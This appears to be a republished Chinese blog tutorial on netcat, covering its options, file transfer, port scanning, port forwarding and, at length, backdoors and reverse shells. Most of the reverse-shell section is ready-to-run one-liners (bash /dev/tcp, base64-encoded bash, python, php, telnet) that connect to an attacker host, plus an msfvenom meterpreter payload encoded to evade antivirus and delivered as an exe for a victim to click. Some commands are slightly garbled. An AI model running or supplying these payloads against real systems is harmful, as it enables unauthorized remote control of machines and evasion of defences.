当前位置:   article > 正文

netcat使用及反弹shell_netcat反弹shell

netcat反弹shell


NetCat

Netcat是一款非常出名的网络工具,简称“NC”,有渗透测试中的“瑞士军刀”之称。它可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能。总之功能强大,可以用一句较为风趣的话来描述NC的强大——“你的想象力是局限NC的瓶颈”。

参数

-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;

-L 使用监听模式,客户端失去连接,服务器依然保持监听(低版本没有)

-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;隐藏自己
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入\输出模式,只在扫描通信端口时使用。

-d nc命令在后台执行(退出cmd窗口仍在执行,nc1.11以上版本才有)

-e 执行某个程序,常用于后门建立(有的版本为了安全删除这个选项)

简单通讯

创建一个服务器端

nc -l -p port
  • 1

在这里插入图片描述

创建一个客户端

nc target_ip target_port -w3
  • 1

-w3设置等待连线的时间3s,防止未连接上服务器的“假死”现象

在这里插入图片描述

返回shell使用(建立后门)

windows

监听型后门

服务器

nc -l -p port -e cmd.exe    #被连接上会返回一个shell
  • 1

在这里插入图片描述

客户端

nc target_ip target_port
  • 1

在这里插入图片描述

连接型后门

服务器

nc -l -p 4444
  • 1

客户端

我这里使用nc连接不上服务器,要用nc64

nc64 target_ip target_port -e cmd.exe
  • 1

在这里插入图片描述

在这里插入图片描述

linux

监听型后门
nc -l -p 4444 -e \bin\bash
  • 1

在这里插入图片描述

在这里插入图片描述

连接型后门
nc tarip tarport -e \bin\bash
  • 1

在这里插入图片描述

在这里插入图片描述

解决乱码

chcp 65001
  • 1

在这里插入图片描述

文件传输

服务器接受客户端传来的文件

服务器

nc -l -p localport > outfile
  • 1

在这里插入图片描述

客户端

nc target_ip target_port < infile
  • 1

在这里插入图片描述

在这里插入图片描述

客户端接受服务器传来的文件

服务器

nc -l -p localport < infile
  • 1

客户端

nc target_ip target_port > outfile
  • 1

端口扫描

扫描指定主机的某个端口段的端口开放信息

-z 使用0输入\输出模式,只在扫描通信端口时使用。

-n不对目标机器进行DNS解析

-w <超时秒数> 设置等待连线的时间

nc  -vv -n -z -w2 Target_IP   Target_Port_Start  -  Target_Port_End
  • 1

windows

在这里插入图片描述

linux

在这里插入图片描述

扫描指定主机的某个UDP端口段,并且返回端口信息

nc -vv -n -z -u  Target_IP  Target_Port_Start   -   Target_Port_End
  • 1

banner信息抓取

echo "" | nc -vv -n -w1 target_ip Target_Port_Start   -   Target_Port_End
  • 1

连接转发(端口转发

有时候外网直接访问不到内网主机,这时要借助一台介于外网与内网之间的主机,进行访问

在这里插入图片描述

实验环境

kali 192.168.31.80 (外网)

windows 192.168.31.242(外网)192.168.208.1 (内网)

ubuntu 192.168.208.132(内网)

kaliping不通ubuntu

在这里插入图片描述

windows可以ping通ubuntu

在这里插入图片描述

正常情况

ubuntu开启端口监听

在这里插入图片描述

kali尝试连接

在这里插入图片描述

连接失败

进行端口转发

使用bat方法

ubuntu开启4444端口监听

在这里插入图片描述

windows创建一个relay.bat文件

这里我在e盘下创建了一个relay.bat,内容如下

在这里插入图片描述

然后开启4445端口监听

在这里插入图片描述

kali连接windows4445端口

在这里插入图片描述

ubuntu收到kali发来的信息

在这里插入图片描述

这样就完成了一次端口转发

使用后门方法

ubuntu

在这里插入图片描述

windows

在这里插入图片描述

kali

在这里插入图片描述

连接上windows的shell之后,再使用nc连接内网的ubuntu

在这里插入图片描述

ubuntu接受到kali信息

在这里插入图片描述

Netcat反弹shell

攻击者只需要监听本地端口,控制其他主机连接自己即可

在这里插入图片描述

Linux反弹shell

bash反弹
bash -i >& \dev\tcp\[ip\port 0>&1
  • 1

命令含义

https:\blog.csdn.net\weixin_43486390\article\details\111385962

举例

windows 开启4444端口监听

nc -lvp 4444
  • 1

在这里插入图片描述

kali

bash -i >& \dev\tcp\192.168.31.242\4444 0>&1
  • 1

在这里插入图片描述

报错,因为zsh不能识别该命令,我们要先使用bash,再输入此命令

在这里插入图片描述

在这里插入图片描述

bash变型
exec 5<>\dev\tcp\192.168.31.242\4444;cat <&5 | while read line; do $line 2>&5 >&5;done
exec \bin\sh 0<\dev\tcp\192.168.31.242\4444 1>&0 2>&0
  • 1
  • 2
不支持nc -e

kali

nc 192.168.31.242 4444| \bin\bash |nc 192.168.31.242 4445
  • 1

windows

开启两个端口的监听(4444,4445)

在这里插入图片描述

在4444端口输入的命令,4445端口输出在屏幕上

bash base64
正常
bas8h -i >& \dev\tcp\192.168.31.242\4444 0>&1
base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=
  • 1
  • 2
  • 3
  • 4
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjI0Mi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
  • 1
awk反弹

在这里插入图片描述

telnet反弹
telnet 192.168.31.242 4444 | \bin\bash | telnet 192.168.31.242 4445
  • 1

在这里插入图片描述

python反弹
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.242",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["\bin\bash","-i"]);'
  • 1

在这里插入图片描述

php反弹
php -r '$sock=fsockopen("192.168.31.242",4444);exec("\bin\bash -i <&3 >&3 2>&3");'
  • 1

在这里插入图片描述

Windows反弹shell

nc反弹

nc … -e cmd.exe

metasploit反弹shell

kali

# 制作反弹shell
msfvenom -p windows\meterpreter\reverse_tcp -e x86\shikata_ga_nai -i 5 LHOST=myip LPORT=4444 -f exe > \tmp\muma1.exe
# 监听本地端口
use exploit\multi\handler 
set payload windows\meterpreter\reverse_tcp
set lhost xxx
run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

-e –encoder [encoder] 指定需要使用的encoder(编码器)

-f –format < format> 指定输出格式

x86\shikata_ga_nai 我们所选择的编码格式(用于免杀)
-i 5 –iterations < count> 指定payload的编码次数为5次(次数越多免杀的概率越大)

受害者

点击muma1.exe文件
  • 1

攻击者得到反弹shell

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号